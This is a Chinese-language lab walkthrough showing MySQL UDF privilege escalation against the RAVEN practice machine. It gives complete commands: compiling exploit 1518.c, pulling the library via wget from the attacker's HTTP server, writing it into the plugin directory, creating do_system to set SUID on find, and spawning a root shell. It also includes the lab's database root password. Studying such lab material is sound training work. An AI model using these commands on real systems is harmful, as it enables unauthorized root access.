实验环境:
RAVEN靶场:链接:百度网盘 请输入提取码
提取码:g6oz
攻击机:kali 2023.3 IP:192.168.126.142
关于UDF提权,需要满足的条件是
1.数据库管理员权限运行 #如果权限过低,无法执行系统命令,无法提权 2.数据库的版本信息不高于 5.5.6
查看满足条件
1》show global variables like '%secure_file_priv%'; 或 show variables like '%secure%'; #这里需要是空值或者是plugin所在的目录,不能是null值 #secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权 #secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权 #secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权 2》show variables like '%plugin%'; 查看插件的位置,将动态连接文件导入到此目录
实操:
1.查询udf可利用的c程序,将1518.c保存到当前目录
searchsploit -m 1518.c
2.查看使用说明;大概就是将程序进行gcc编译,然后再登录mysql进行创建一个表,插入.so文件,创建自定义函数进行越权操作。
3.进行编译
gcc -g -c 1518.c gcc -g -shared -o udf.so 1518.o -lc -g 生成调试信息 -c 编译(二进制) -shared 创建一个动态链接库,输入文件是源文件,汇编文件或者目标文件 -o 执行命令后的文件名 -lc -l 库 -c 库名
python3 -m http.server
#用python开启http服务
4.将编译好的.so文件进行上传靶机,进行登录数据库
wget http://192.168.126.142:8000/udf.so
mysql -uroot -pR@v3nSecurity
show databases;
use mysql
5.查看udf提权的必要条件,看插件位置
show global variables like '%secure_file_priv%';
show variables like '%plugin%';
6.开始提权操作:
create table foo(line blob);
#创建一张临时表用来存放DLL/OS文件的16进制内容
insert into foo values(load_file('/tmp/udf.so'));
#插入udf.so文件(foo是占位符,没有任何意义)
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
#利用dumpfile函数把文件导出
create function do_system returns integer soname 'udf.so';
#创建自定义函数do_system,类型是integer,别名(soname)文件名字
select * from mysql.func;
#查询函数是否创建成功
select do_system('chmod u+s /usr/bin/find');
#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令, 0代表执行成功 。
exit
7.执行命令,成功提权。
touch udf
find udf -exec "/bin/sh" \;
或
find udf -exec "id" \;